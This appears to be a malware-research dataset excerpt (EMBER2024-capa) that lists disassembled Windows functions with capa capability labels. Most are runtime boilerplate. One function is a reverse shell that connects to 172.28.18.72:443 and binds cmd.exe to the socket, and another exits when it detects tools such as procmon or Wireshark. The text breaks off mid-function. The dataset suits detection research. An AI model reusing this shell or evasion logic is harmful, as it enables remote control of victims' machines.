joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140140490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1401404a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.140122350
jmp 0x14000123c
mov rax, qword [0x1401404a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1401404a0]
mov dword [rax], 1
mov rax, qword [0x1401404e0]
mov rdx, rax
mov rax, qword [0x1401404d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x140144024], 1
mov rax, qword [0x1401404a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1401404c0]
mov rdx, rax
mov rax, qword [0x1401404b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1401404a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140140490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1401403e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1401403e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.1401215d8
mov rax, qword [0x140140520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140140480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140120dd0
mov eax, dword [0x140144004]
lea rdx, [0x140144008]
mov ecx, eax
call fcn.14000147c
call fcn.140120b67
mov rax, qword [0x140140410]
mov rax, qword [rax]
mov rdx, qword [0x140144010]
mov qword [rax], rdx
mov rcx, qword [0x140144010]
mov rdx, qword [0x140144008]
mov eax, dword [0x140144004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x14014401c], eax
mov eax, dword [0x140144020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14014401c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x140144024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14014401c]
add rsp, 0x70
pop rbp
ret
Function at 0x140120de0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140122140
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x140121ab2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140144168]
test eax, eax
je 0x140121b4a
lea rax, [0x140144140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140144170]
mov qword [rbp - 8], rax
jmp 0x140121b2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140121b22
cmp qword [rbp - 0x10], 0
je 0x140121b22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140121ae8
lea rax, [0x140144140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140121b4b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140121c50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140121c78
mov eax, 0
jmp 0x140121cc6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140121ca1
mov eax, 0
jmp 0x140121cc6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140121cc1
mov eax, 0
jmp 0x140121cc6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140121ccc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140121d4a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140121d41
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140121d41
mov rax, qword [rbp - 8]
jmp 0x140121d5f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140121d14
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x180003c20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov rax, rdx
mov rsi, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x180003cb0
cmp r10, r11
jb 0x180003d26
cmp r10, rdx
ja 0x180003d3a
add r11, r9
xor r15d, r15d
nop word cs:[rax + rax]
cmp r14, r15
je 0x180003cb2
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x180003c90
jmp 0x180003d14
ja 0x180003cba
mov r11, r10
cmp rax, r8
jne 0x180003c54
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x180003cf0
mov rdi, r8
sub ecx, edx
jns 0x180003d0b
jmp 0x180003d16
cmp r8, rsi
je 0x180003d4b
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x180003d16
xor al, 1
cmp rdi, rsi
jne 0x180003cd0
jmp 0x180003d16
xor eax, eax
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.180018850
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.180018650
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueinternal_error:_entered_unreachable_code_rustc_90c541806f23a127002de5b4038be731ba1458calibrary_alloc_src_vecmod.rs
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.180018660
ud2
Function at 0x18000a590
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x48
mov rsi, rcx
mov r9, qword [rcx]
test r9, r9
je 0x18000a5eb
mov r10, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r10
jae 0x18000a5eb
movzx eax, byte [r9 + rcx]
cmp eax, 0x49
je 0x18000a606
cmp eax, 0x42
jne 0x18000a5eb
lea r11, [rcx + 1]
mov qword [rsi + 0x10], r11
cmp r11, r10
jae 0x18000a6b6
cmp byte [r9 + r11], 0x5f
jne 0x18000a6b6
lea rax, [rcx + 2]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x18000a71e
mov rcx, rsi
xor edx, edx
call fcn.180005890
mov edi, eax
add dil, dil
mov eax, edi
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
inc rcx
mov qword [rsi + 0x10], rcx
mov rcx, rsi
xor edx, edx
call fcn.180005890
test al, al
jne 0x18000a7b1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18000a642
lea rdx, [0x18001ec03]
mov r8d, 1
call fcn.1800022d0
test al, al
jne 0x18000a7b1
mov rax, qword [rsi]
mov dil, 1
test rax, rax
je 0x18000a5fa
xor r14d, r14d
lea rbx, [0x18001efce]
nop word [rax + rax]
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x18000a674
cmp byte [rax + rcx], 0x45
je 0x18000a7d3
sub r14, 1
jb 0x18000a699
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18000a699
mov r8d, 2
mov rdx, rbx
call fcn.1800022d0
test al, al
jne 0x18000a7b1
mov rcx, rsi
call fcn.18000a7f0
test al, al
jne 0x18000a7b1
mov rax, qword [rsi]
test rax, rax
jne 0x18000a660
jmp 0x18000a5fa
xor eax, eax
mov edi, 0x3e
nop dword [rax]
mov r8b, 1
cmp r11, r10
jae 0x18000a778
movzx edx, byte [r9 + r11]
cmp dl, 0x5f
je 0x18000a712
lea ebx, [rdx - 0x30]
cmp bl, 0xa
jb 0x18000a6fc
lea ebx, [rdx - 0x61]
cmp bl, 0x1a
jae 0x18000a6eb
add dl, 0xa9
jmp 0x18000a6fa
lea ebx, [rdx - 0x41]
cmp bl, 0x1a
jae 0x18000a778
add dl, 0xe3
mov ebx, edx
inc r11
mov qword [rsi + 0x10], r11
mul rdi
jo 0x18000a778
movzx edx, bl
add rax, rdx
jae 0x18000a6c0
jmp 0x18000a778
inc r11
mov qword [rsi + 0x10], r11
inc rax
je 0x18000a778
cmp rax, rcx
jae 0x18000a775
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f4
ja 0x18000a7cb
cmp qword [rsi + 0x20], 0
je 0x18000a7df
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
mov rcx, rsi
call fcn.18000a590
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp 0x18000a5fc
mov r8b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x18000a7b9
lea rax, [0x18001ef99]
lea rdx, str.recursion_limit_reachedinvalid_syntax
test r8b, r8b
cmovne rdx, rax
xor r8b, 1
movzx eax, r8b
lea r8, [rax + rax*8]
or r8, 0x10
call fcn.1800022d0
test al, al
je 0x18000a7b9
mov dil, 2
jmp 0x18000a5fa
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor edi, edi
jmp 0x18000a5fa
mov dil, 1
xor r8d, r8d
jmp 0x18000a77a
inc rcx
mov qword [rsi + 0x10], rcx
jmp 0x18000a5fa
xor edi, edi
jmp 0x18000a5fa
Function at 0x180011340
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov rdi, rdx
movzx ebp, byte [rdx + 0x38]
xor ebx, ebx
cmp bpl, 1
setne dl
mov eax, 0
sbb eax, eax
mov rsi, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x180011370
test ecx, ecx
jne 0x1800113c0
movzx ebx, byte [rdi + 0x3a]
cmp al, 0xff
je 0x18001137c
test ecx, ecx
jne 0x1800113c0
mov rcx, rdi
call fcn.180011220
movzx eax, al
test bpl, bpl
jne 0x1800113c7
lea rdx, [rdi + 0x10]
xor ecx, ecx
cmp byte [rdi + 0x10], 6
cmove rdx, rcx
je case.0x1800113b3.2
movzx r8d, byte [rdx]
mov ecx, 6
lea r9, [0x180011538]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov rcx, qword [rdx + 0x10]
add rcx, 4
jmp case.0x1800113b3.2
xor eax, eax
test bpl, bpl
je 0x18001138c
xor ecx, ecx
add rax, rcx
movzx r10d, bl
lea rcx, [rax + r10]
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x180011519
mov r11, qword [rdi]
lea r8, [r11 + rcx]
cmp rdx, rcx
jne 0x1800113fa
movzx r9d, byte [rdi + 0x10]
xor r10d, r10d
jmp 0x180011479
movzx r9d, byte [rdi + 0x10]
add rax, r10
sub rax, rdx
inc rax
lea rdi, [rdx + r11]
dec rdi
xor r10d, r10d
cmp r9b, 3
jae 0x180011440
nop dword [rax + rax]
cmp byte [rdi], 0x5c
je 0x18001145b
inc rax
dec rdi
cmp rax, 1
jne 0x180011420
jmp 0x180011479
movzx ebx, byte [rdi]
cmp ebx, 0x2f
je 0x18001145b
cmp ebx, 0x5c
je 0x18001145b
inc rax
dec rdi
cmp rax, 1
jne 0x180011440
jmp 0x180011479
neg rax
add rcx, rax
inc rcx
cmp rdx, rcx
jb 0x180011527
add r11, rcx
mov r10d, 1
mov r8, r11
sub rdx, rcx
je 0x1800114a3
mov al, 9
cmp rdx, 2
je 0x1800114a7
cmp rdx, 1
jne 0x1800114b7
cmp byte [r8], 0x2e
jne 0x1800114b7
xor eax, eax
cmp r9b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x1800114b7
mov al, 0xa
jmp 0x1800114b7
cmp byte [r8], 0x2e
jne 0x1800114b7
cmp byte [r8 + 1], 0x2e
sete al
xor al, 9
add r10, rdx
mov qword [rsi], r10
mov qword [rsi + 8], r8
mov qword [rsi + 0x10], rdx
mov byte [rsi + 0x18], al
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 8
jmp case.0x1800113b3.2
mov rcx, qword [rdx + 0x10]
mov rdx, qword [rdx + 0x20]
lea r8, [rdx + 1]
test rdx, rdx
cmove r8, rdx
add rcx, r8
add rcx, 2
jmp case.0x1800113b3.2
mov ecx, 2
jmp case.0x1800113b3.2
lea r8, str.library_std_srcpath.rs
call fcn.180018640
ud2
lea r8, str.library_std_srcpath.rs
call fcn.180018640
ud2
Function at 0x1813bb000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x1813bb00a
jmp 0x1813bd00f
jmp fcn.1810940b0
Function at 0x4016a0
Capabilities:
Enumerate process modules

Disassembly:
push r15
mov eax, 0x2148
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.00402cd0
sub rsp, rax
mov r12, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call r12
mov r8d, 0x2000
mov rcx, rax
lea rbp, [rsp + 0x140]
lea r9, [rsp + 0x2c]
mov rdx, rbp
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4017a4
mov eax, dword [rsp + 0x2c]
shr eax, 3
test eax, eax
je 0x4017a4
lea rbx, [rsp + 0x30]
xor r15d, r15d
lea r13, str.ProcessHacker.exe
lea r14, str.procmon.exe
nop
mov rsi, qword [rbp + r15*8]
call r12
mov r9d, 0x104
mov r8, rbx
mov rcx, rax
mov rdx, rsi
call sub.PSAPI.DLL_GetModuleBaseNameA
test eax, eax
je 0x401790
mov ecx, 0x12
mov rsi, rbx
mov rdi, r13
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x4017c0
mov ecx, 0xc
mov rsi, rbx
mov rdi, r14
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x4017c0
lea rdi, str.procexp.exe
mov ecx, 0xc
mov rsi, rbx
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x4017c0
lea rdi, str.wireshark.exe
mov ecx, 0xe
mov rsi, rbx
repe cmpsb byte [rsi], byte [rdi]
seta al
sbb al, 0
test al, al
je 0x4017c0
mov eax, dword [rsp + 0x2c]
add r15, 1
shr eax, 3
cmp eax, r15d
ja 0x401710
add rsp, 0x2148
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
nop dword [rax + rax]
Function at 0x401d70
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00408624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401ef8
mov rax, qword [0x00408628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401dbc
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401e45
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401da0
mov rcx, rbx
call fcn.00402a10
test rax, rax
mov r12, rax
je 0x401f2d
mov rax, qword [0x00408628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call fcn.00402b40
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00408628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401f10
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401e3e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401ea0
add dword [0x00408624], 1
cmp edi, 8
jae 0x401e73
test dil, 4
jne 0x401ee4
test edi, edi
je 0x401e68
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401eff
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401e68
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401e8c
jmp 0x401e68
add rsi, qword [0x00408628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401e3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.004030d0
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401e68
xor esi, esi
jmp 0x401dc7
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401e68
mov rax, qword [0x00408628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call fcn.004030d0
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.004030d0
nop
nop dword [rax]

Function at 0x402680
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00408900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004088e0]
test rbx, rbx
je 0x4026d4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4026cb
test rsi, rsi
je 0x4026cb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4026b0
lea rcx, [0x00408900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x402a10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004053a0]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x402a7d
mov rcx, r8
call fcn.004028f0
test eax, eax
je 0x402a7d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x402a7d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x402a74
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x402a7f
add rax, 0x28
cmp rax, r9
jne 0x402a60
xor eax, eax
add rsp, 0x28
ret

Function at 0x402f30
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create process suspended
Create tcp socket
Create udp socket
Hide graphical window
Initialize winsock library

Disassembly:
push rdi
push rbx
sub rsp, 0x2b8
call fcn.00401900
mov byte [rsp + 0x6f], 0
mov ecx, 0x202
movabs rax, 0x312e38322e323731
lea rdx, [rsp + 0x110]
mov qword [rsp + 0x63], rax
mov dword [rsp + 0x6b], 0x32372e38
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov dword [rsp + 0x28], 0
mov ecx, 2
mov dword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov ecx, 0x1bb
mov rbx, rax
mov eax, 2
mov word [rsp + 0x70], ax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, [rsp + 0x63]
mov word [rsp + 0x72], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
lea rdx, [rsp + 0x70]
xor r9d, r9d
mov rcx, rbx
mov dword [rsp + 0x74], eax
mov r8d, 0x10
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call qword [sym.imp.WS2_32.dll_WSAConnect]
xor eax, eax
mov ecx, 9
xor r9d, r9d
lea rdx, [rsp + 0xa4]
mov dword [rsp + 0xa0], 0x68
lea r8, [rsp + 0xa0]
mov rdi, rdx
rep stosq qword [rdi], rax
lea rdx, [rsp + 0x5b]
movabs rax, 0x6578652e646d63
mov dword [rsp + 0xdc], 0x100
mov qword [rsp + 0x5b], rax
lea rax, [rsp + 0x80]
mov dword [rdi], 0
mov qword [rsp + 0x40], r8
xor r8d, r8d
mov qword [rsp + 0x100], rbx
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.004015c0
call fcn.00401640
call fcn.00401660
call fcn.004016a0
call fcn.004017d0
xor eax, eax
add rsp, 0x2b8
pop rbx
pop rdi
ret

Function at 0x4030d0
Capabilities:
Write file on windows

Disassembly:
lea rcx, [0x00401540]
jmp 0x401510
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.00402de0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.00402de0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
jmp 0x401530
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x1400d2490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400d24a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400b4b70
jmp 0x14000123c
mov rax, qword [0x1400d24a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400d24a0]
mov dword [rax], 1
mov rax, qword [0x1400d24e0]
mov rdx, rax
mov rax, qword [0x1400d24d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x1400d6024], 1
mov rax, qword [0x1400d24a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400d24c0]
mov rdx, rax
mov rax, qword [0x1400d24b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1400d24a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x1400d2490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400d23e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400d23e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.1400b3df8
mov rax, qword [str.___v_]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [str._a_r_]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.1400b35f0
mov eax, dword [0x1400d6004]
lea rdx, [0x1400d6008]
mov ecx, eax
